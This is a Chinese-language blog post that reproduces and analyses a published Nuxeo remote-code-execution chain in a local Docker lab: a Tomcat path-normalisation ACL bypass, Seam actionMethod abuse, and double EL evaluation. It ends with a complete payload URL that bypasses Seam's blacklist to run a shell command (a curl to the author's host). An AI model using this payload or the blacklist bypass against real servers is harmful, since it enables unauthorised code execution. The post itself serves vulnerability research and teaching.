nuxeo rce 漏洞复现分析 Secer's Blog - 记录互联网安全历程与个人成长经历

说明

Nuxeo-RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System，中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明，但是如果没有实际调试过整个漏洞，看了文章之后始终还是难以理解，体会不深。由于Nuxeo已经将源码托管在Github上面，就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟，踩了很多的坑。

源码搭建

由于Github上面有系统的源码，考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中，发现有10多个模块，导入完毕之后也没有找到程序的入口点。折腾了半天，也没有运行起来。

考虑到之后整个系统中还涉及到了Nuxeo、JBoss-Seam、Tomcat，那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟，搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后，得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的，所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下：

拉取分支。从Docker上面拉取8的分支版本，docker pull nuxeo:8。
开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件，关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释，开始远程调试。
安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
导出源代码。由于需要远程调试，所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。
1. 进入到Docker容器中，将/opt/nuxeo/server下的文件全部打包
2. 从Docker中导出上一步打包的文件到宿主机中。
以Daemon的方式运行Docker环境。
用IDEA直接导入server/nxserver/nuxeo.war程序，这个war包程序就是一个完整的系统了，之后导入系统需要的jar包。jar来源包括server/bin、server/lib、server/nxserver/bundles、server/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下：
导入程序源码。由于我们需要对nuxeo、jboss-seam相关的包进行调试，就需要导入jar包的源代码。相对应的我们需要导入的jar包包括：apache-tomcat-7.0.69-src、nuxeo-8.10-SNAPSHOT、jboss-seam-2-3-1的源代码。

至此，我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写，中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验，这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化，这样会导致绕过nuxeo的权限校验。

正如orange所说，Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下：

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中，登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说：

从上面可以看出来，bypassAuth检索当前请求的页面，与unAuthenticatedURLPrefix进行比较。但bypassAuth如何检索当前请求的页面？ Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法，第一个问题出现在这里！

追踪进入到getRequestedPage()

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理，但是Nuxeo后面还有Web服务器，而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly，JBoss和WebLogic等容器中可能是安全的。但它在Tomcat下就不行了！因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题！
根据截断方式，我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求！

借用Orange的PPT中的一张图来进行说明：

我们进行如下的测试：

访问一个需要进行权限认证的URL，oauth2Grant.jsp最终的结果是出现了302
我们访问需要畸形URL，http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

出现了500的原因是在于进入到tomcat之后，因为servlet逻辑无法获得有效的用户信息，因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了，这一步不必分析。但是既然出现了这个漏洞，就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析，解析Tomcat内部结构和请求过程和Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]。tomcat对路径的URL的处理的过程是：

tomcat中存在Connecter和Container，Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成，分别是Engine、Host、Context、Wrapper。这四个组件是负责关系，存在包含关系。会以此向下解析，也就是说。如果tomcat收到一个请求，交由Container去设置Host和Context以及wrapper。这几个组件的作用如下：

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理，

经过了postParseRequest()中的convertURI(decodedURI, request);之后，会在req对象中增加decodedUriMB字段，值为/nuxeo/oauth2Grant.jsp。

解析完decodedUriMB之后，connector对相关的属性进行设置：

connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
 request.setContext((Context) request.getMappingData().context);
 request.setWrapper((Wrapper) request.getMappingData().wrapper);

之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置，其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下：

public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
     ...
     jspUri = request.getServletPath();
     String pathInfo = request.getPathInfo();
     if (pathInfo != null) {
         jspUri += pathInfo;
     }

     try {
         boolean precompile = preCompile(request);
         serviceJspFile(request, response, jspUri, precompile);
     } catch (RuntimeException e) {
         throw e;
     } catch (ServletException e) {
         throw e;
     }
     ...
 }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析，是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
     return (mappingData.wrapperPath.toString());
 }

得到的结果就是/oauth2Grant.jsp.
最后程序运行serviceJspFile(request, response, jspUri, precompile);，运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证，直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息，结果报错了。

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于Nuxeo与Tomcat对于路径解析不一致的问题，目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数，可以从查询字符串中调用特定的JBoss EL（Expression Language）

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下：

private static boolean callAction(FacesContext facesContext)
{
    //TODO: refactor with Pages.instance().callAction()!!

    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }


    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单，从actionId中检测出来expression(即EL表达式)，之后利用actionExpression.invoke()执行表达式，最终通过handleOutcome()输出表达式的结果，问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式，在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id)
   {
      if ( safeActions.contains(id) ) return true;

      int loc = id.indexOf(':');
      if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
      String viewId = id.substring(0, loc);
      String action = "\"#{" + id.substring(loc+1) + "}\"";

      // adding slash as it otherwise won't find a page viewId by getResource*
      InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
      if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
      BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
      try
      {
         while ( reader.ready() ) 
         {
            if ( reader.readLine().contains(action) ) 
            {
               addSafeAction(id);
               return true;
            }
         }
         return false;
      }
    // catch exception
   }

以:作为分隔符对id进行分割得到viewId和action，其中viewId就是一个存在的页面，而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明，这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

1.actionMethod的值必须是一对，例如：FILENAME:EL_CODE
2.FILENAME部分必须是context-root下的真实文件
3.文件FILENAME必须包含内容“＃{EL_CODE}”（双引号是必需的）

例如这样的URL：http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求；login.xhtml是真实存在的，满足了第二个要求；"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式，无法执行攻击者自定义的表达式，而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理，如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式，即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析：

在org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
org.jboss.seam.navigation.Pages:handleOutcome()中。
org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
org.jboss.seam.core.Interpolator::interpolate()
org.jboss.seam.core.Interpolator::interpolateExpressions()中，以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章，找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下：

<nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式，用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式，这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单，具体位于org/jboss/seam/blacklist.properties中，内容如下：

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测，""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后，那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的供给链：

利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验；
利用Tomcat对路径的处理，访问任意的servlet;
利用jboss-seam中的actionMethod使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml，并且可以控制其中的参数;
控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数，为RCE的EL表达式的payload;
org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是：

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址，''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是exec(java.lang.String)，''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。